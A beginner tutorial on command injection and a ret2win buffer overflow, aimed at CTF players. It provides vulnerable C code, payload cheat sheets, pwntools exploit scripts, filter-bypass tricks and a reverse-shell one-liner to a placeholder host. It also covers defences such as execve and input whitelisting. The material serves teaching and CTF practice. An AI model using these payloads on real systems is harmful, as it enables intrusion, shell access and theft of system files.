> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/02.-command-injection-in-binary-exploitation.md).

# Command Injection in Binary Exploitation

> You don't always need to overflow a buffer. Sometimes the program just... runs whatever you tell it to. This guide explains command injection from absolute zero.

## 🤔 What Is Command Injection?

Imagine a program that takes your input and runs it as a shell command. If the developer didn't carefully control what you're allowed to input, you can **inject your own commands** into that shell call.

**Real-world analogy:**

> A restaurant takes your order over the phone. You say *"I'd like a pizza AND also unlock the back door."* If the person on the phone just does exactly what you said without thinking — you just injected an extra command.

In code terms, the program does something like:

```c
system("ping " + user_input);
```

You're *supposed* to type an IP like `8.8.8.8`.\
But what if you type `8.8.8.8; cat /etc/passwd`?

The shell sees:

```bash
ping 8.8.8.8; cat /etc/passwd
```

And it runs **both** commands. You just injected `cat /etc/passwd`. 💀

## 🐚 Quick Background: How Does the Shell Work?

Before diving in, you need to know a few things about how Unix/Linux shells interpret commands.

### Special Characters the Shell Cares About

| Character | What It Does                                 | Example          |
| --------- | -------------------------------------------- | ---------------- |
| `;`       | Run the next command regardless of the first | `cmd1; cmd2`     |
| `&&`      | Run next command only if first succeeded     | `cmd1 && cmd2`   |
| `\|\|`    | Run next command only if first failed        | `cmd1 \|\| cmd2` |
| `\|`      | Pipe output of first into second             | `cmd1 \| cmd2`   |
| `` ` ` `` | Run command inside backticks, use output     | `` echo `id` ``  |
| `$()`     | Same as backticks, modern style              | `echo $(id)`     |
| `&`       | Run command in background                    | `cmd &`          |
| `>`       | Redirect output to file                      | `cmd > file`     |
| `<`       | Read input from file                         | `cmd < file`     |

These are the tools of command injection. If any of these reach the shell unfiltered, you can inject.

## 🔬 How Does This Happen in C Programs?

There are a few dangerous C functions that call the shell:

### `system()`

```c
#include <stdlib.h>

int main() {
    char command[256];
    printf("Enter hostname to ping: ");
    scanf("%s", command);
    
    char cmd[512];
    sprintf(cmd, "ping -c 1 %s", command);
    system(cmd);    // ← DANGEROUS
    
    return 0;
}
```

`system()` literally opens `/bin/sh -c "your command here"`. If user input gets in there unsanitized, it's game over.

### `popen()`

```c
FILE *fp = popen(user_controlled_string, "r");
```

Same problem — runs through the shell.

### `execve()` — The Safer Alternative

```c
execve("/bin/ping", args, env);
```

`execve()` does **not** invoke a shell. It directly executes the program with the arguments as a list. No shell = no shell injection. This is the right way to do it.

## 🧪 Your First Command Injection — Step by Step

Let's walk through an actual vulnerable program.

### The Vulnerable Code

```c
// vuln.c
#include <stdio.h>
#include <stdlib.h>

int main() {
    char ip[100];
    printf("Enter IP to ping: ");
    fgets(ip, sizeof(ip), stdin);
    
    char cmd[200];
    snprintf(cmd, sizeof(cmd), "ping -c 1 %s", ip);
    
    printf("Running: %s\n", cmd);
    system(cmd);   // ← the vulnerable line
    
    return 0;
}
```

### Compiling and Running Normally

```bash
gcc -o vuln vuln.c
./vuln
```

```
Enter IP to ping: 8.8.8.8
Running: ping -c 1 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
...
```

Works as intended. But watch what happens next.

### Injecting a Command

```
Enter IP to ping: 8.8.8.8; id
Running: ping -c 1 8.8.8.8; id
PING 8.8.8.8 ...
...
uid=1000(user) gid=1000(user) groups=1000(user)
```

See that `uid=1000(user)` at the end? That's the output of the `id` command — **which we injected**. The program ran both `ping` AND `id`.

### Getting a Shell

```
Enter IP to ping: ; /bin/sh
```

The shell now executes:

```bash
ping -c 1 ; /bin/sh
```

The `ping` fails (no argument), but then `/bin/sh` launches — giving us an **interactive shell** inside the program's context!

```
sh-5.1$ whoami
user
sh-5.1$ ls
flag.txt  vuln  vuln.c
sh-5.1$ cat flag.txt
flag{command_injection_is_fun}
```

## 🎯 Common Injection Payloads

Here's a cheat sheet of payloads to try when you find a potential injection point:

### Basic "Does this work?" payloads

```bash
; id
| id
&& id
|| id
`id`
$(id)
```

Pick whichever gets through. Try them all — some may be filtered.

### Get a Shell

```bash
; /bin/sh
; /bin/bash
; sh
```

### Read a File

```bash
; cat /etc/passwd
; cat flag.txt
; cat /home/user/secret
```

### Blind Injection (no output visible)

Sometimes you can't see the output. Use out-of-band techniques:

```bash
# Write output to a file you can read
; id > /tmp/out.txt

# Ping your own server to confirm execution
; ping -c 1 YOUR_IP_HERE

# Get a reverse shell (connect back to your machine)
; bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'
```

### Newline Injection

Sometimes semicolons are filtered but newlines aren't:

```bash
# URL encoded: %0a
ping 8.8.8.8%0aid
```

The shell treats newlines the same as semicolons — a new command starts.

## 🔍 Finding Command Injection — What to Look For

### In Source Code (White-box)

Search for these dangerous function calls:

```bash
grep -n "system(" *.c
grep -n "popen(" *.c
grep -n "exec(" *.c
grep -n "shell_exec" *.php    # PHP too
grep -n "os.system" *.py      # Python too
```

Then check: **does user input reach that function without sanitization?**

### In Binaries (Black-box, No Source)

```bash
# Look for strings that suggest shell usage
strings ./binary | grep -E "system|popen|/bin/sh|bash"

# Disassemble and look for calls to system()
objdump -d ./binary | grep -A5 "call.*system"

# Open in Ghidra or IDA for full decompilation
```

### Dynamic Testing

Just try injecting and see what happens:

```
; sleep 5
```

If the program pauses for 5 seconds — **you have command injection**. This is the simplest blind test because it doesn't require seeing any output.

***

## 🐍 Automating with pwntools

Once you've confirmed injection works, automate it with pwntools:

```python
from pwn import *

# Connect to local binary or remote service
p = process("./vuln")
# p = remote("ctf.example.com", 1337)  # for remote challenges

# Receive the prompt
p.recvuntil(b"ping: ")

# Send our injection payload
payload = b"; /bin/sh"
p.sendline(payload)

# Drop into interactive mode to use the shell
p.interactive()
```

Run it:

```bash
python3 exploit.py
```

```
[+] Starting local process './vuln': pid 12345
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user)
$ cat flag.txt
flag{automated_pwn}
```

## 🧱 Filters and How to Bypass Them

Developers sometimes try to block injection with filters. Here's how common filters fail:

### Filter: Block spaces

```bash
# Use $IFS (Internal Field Separator) instead
;cat${IFS}/etc/passwd

# Or use tab (often not filtered)
;cat	/etc/passwd

# Or brace expansion
;{cat,/etc/passwd}
```

### Filter: Block semicolons

```bash
# Try other separators
| id
|| id
&& id
`id`
$(id)
%0a id   # newline
```

### Filter: Block specific keywords (like "cat")

```bash
# Split the word with quotes
ca''t /etc/passwd
c'a't /etc/passwd

# Use environment variables
/???/c?t /etc/passwd       # glob matching

# Use other commands
more /etc/passwd
less /etc/passwd
head /etc/passwd
tac /etc/passwd
```

### Filter: Blocklist check for dangerous chars

```c
// Developer tried this:
if (strstr(input, ";") || strstr(input, "|")) {
    puts("Blocked!");
    exit(1);
}
```

Try: `$(id)` — no semicolons or pipes, but still executes!

## 📍 How to Find the Offset for a Controlled `system()` Call

Sometimes the vulnerability isn't direct injection — it's a **buffer overflow** that lets you redirect execution to call `system("/bin/sh")`.

This is common in CTF challenges. Here's the pattern:

### Scenario

```c
void win() {
    system("/bin/sh");   // this function exists but is never called!
}

void vuln() {
    char buf[32];
    gets(buf);           // overflow here
}
```

Your goal: overflow `buf` to overwrite the return address with the address of `win()`.

### Step 1: Find the offset

```bash
# In gdb with pwndbg
gdb ./challenge
(gdb) cyclic 100
aaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaal...

(gdb) run
# paste the cyclic pattern
# program crashes

(gdb) info registers
# look at rip or the value on the stack

(gdb) cyclic -l 0x6161616161616166   # the value that landed in rip
Offset: 40
```

Offset is 40 — you need 40 bytes of padding.

### Step 2: Find the address of `win()`

```bash
(gdb) info functions win
0x0000000000401196  win
```

Or with pwntools:

```python
elf = ELF("./challenge")
win_addr = elf.symbols["win"]
```

### Step 3: Build the payload

```python
from pwn import *

elf = ELF("./challenge")
p = process("./challenge")

offset = 40
win = elf.symbols["win"]

payload = b"A" * offset + p64(win)
p.sendline(payload)
p.interactive()
```

Boom — `system("/bin/sh")` gets called, you have a shell.

***

## 🔐 Why Does This Work? (The Stack Picture)

Before overflow:

```
[ buf: 32 bytes    ]
[ saved rbp 8 bytes]
[ return addr      ] ← points back to vuln()'s caller
```

After overflow with 40 bytes of padding + address of win():

```
[ AAAAAAAAAAAAAAAA ]  (fills buf + saved rbp)
[ AAAAAAAAAAAAAAAA ]
[ address of win() ]  ← overwrites return address!
```

When `vuln()` returns, it pops our fake return address into `rip`, and execution jumps to `win()` which calls `system("/bin/sh")`.

***

## 🚩 CTF-Style Challenge Walkthrough

Here's what a typical "ret2win" command injection CTF challenge looks like from start to finish:

```bash
# Step 1: Look at the binary
file challenge
# challenge: ELF 64-bit LSB executable, x86-64

checksec --file=challenge
# Arch:     amd64-64-little
# RELRO:    Partial RELRO
# Stack:    No canary found     ← no canary, good
# NX:       NX enabled          ← stack not executable
# PIE:      No PIE              ← addresses are fixed, good

# Step 2: Look for interesting functions
strings challenge | grep -i "sh\|flag\|win\|system"
nm challenge | grep -i "win\|system"

# Step 3: Open in gdb and find the overflow offset
gdb -q ./challenge
(gdb) pattern create 100
(gdb) run
# paste pattern, let it crash
(gdb) pattern search
# find offset

# Step 4: Write exploit
python3 exploit.py
```

## 🛡️ How Command Injection Is Prevented (The Correct Way)

Understanding defense makes you a better attacker — and teaches you what to look for when defenses are weak.

### Use `execve()` Instead of `system()`

```c
// SAFE: no shell, arguments are a list, can't be injected
char *args[] = {"/bin/ping", "-c", "1", user_ip, NULL};
execve("/bin/ping", args, envp);
```

### Whitelist Valid Input

```c
// Only allow digits and dots (valid IP characters)
for (int i = 0; user_ip[i]; i++) {
    if (!isdigit(user_ip[i]) && user_ip[i] != '.') {
        puts("Invalid IP!");
        exit(1);
    }
}
```

### Sanitize/Escape Special Characters

```python
# Python — use subprocess with a list, not a string
import subprocess
subprocess.run(["/bin/ping", "-c", "1", user_ip])  # SAFE
subprocess.run(f"ping -c 1 {user_ip}", shell=True)  # DANGEROUS
```

***

## 🗺️ Command Injection Taxonomy — Where It Shows Up

```
Command Injection
├── Direct Injection
│   ├── system() / popen() takes raw user input
│   └── Shell scripts with $USER_INPUT
│
├── Indirect / Overflow-Based (ret2system)
│   ├── Overflow return address → jump to system()
│   └── Overflow return address → jump to win() which calls system()
│
└── Blind Injection
    ├── No output visible — use time delays (sleep)
    ├── Out-of-band (DNS, HTTP to your server)
    └── Write results to a readable file
```

***

## 📝 Quick Reference Cheat Sheet

```bash
# ── DETECT ──────────────────────────────────
; sleep 5                      # blind test — does it pause?
; id                           # do you see uid output?

# ── BASIC PAYLOADS ──────────────────────────
; id                           # who am I?
; whoami                       # same
; cat /etc/passwd              # read system users
; cat flag.txt                 # read the flag!
; ls -la                       # list directory
; env                          # dump environment variables

# ── GET A SHELL ─────────────────────────────
; /bin/sh                      # simple sh
; /bin/bash                    # bash
; bash -i                      # interactive bash

# ── FILTER BYPASS ───────────────────────────
$(id)                          # no semicolons
`id`                           # backtick style
%0aid                          # newline instead of ;
ca''t flag.txt                 # bypass keyword filter
{cat,flag.txt}                 # no spaces

# ── PWNTOOLS SKELETON ────────────────────────
from pwn import *
p = process("./vuln")
p.sendlineafter(b"prompt: ", b"; /bin/sh")
p.interactive()
```

## 📚 Practice Resources

| Resource                                       | What You'll Get                            |
| ---------------------------------------------- | ------------------------------------------ |
| [pwn.college](https://pwn.college)             | Free structured binary exploitation course |
| [picoCTF](https://picoctf.org)                 | Beginner-friendly CTF with pwn challenges  |
| [exploit.education](https://exploit.education) | VMs designed for practice                  |
| [CTFlearn](https://ctflearn.com)               | Community challenges sorted by difficulty  |
| [HackTheBox](https://hackthebox.com)           | More advanced, real-world style challenges |

> 💡 **The Takeaway:** Command injection happens when a program trusts user input enough to pass it directly to a shell. Your job as a security researcher is to find that trust — and abuse it. Start small: `; id`. Then escalate: `; cat flag.txt`. Then go further: get a shell and explore.

> 🔁 **The loop:** Find input → inject `; sleep 5` → confirm timing → escalate payload → profit.
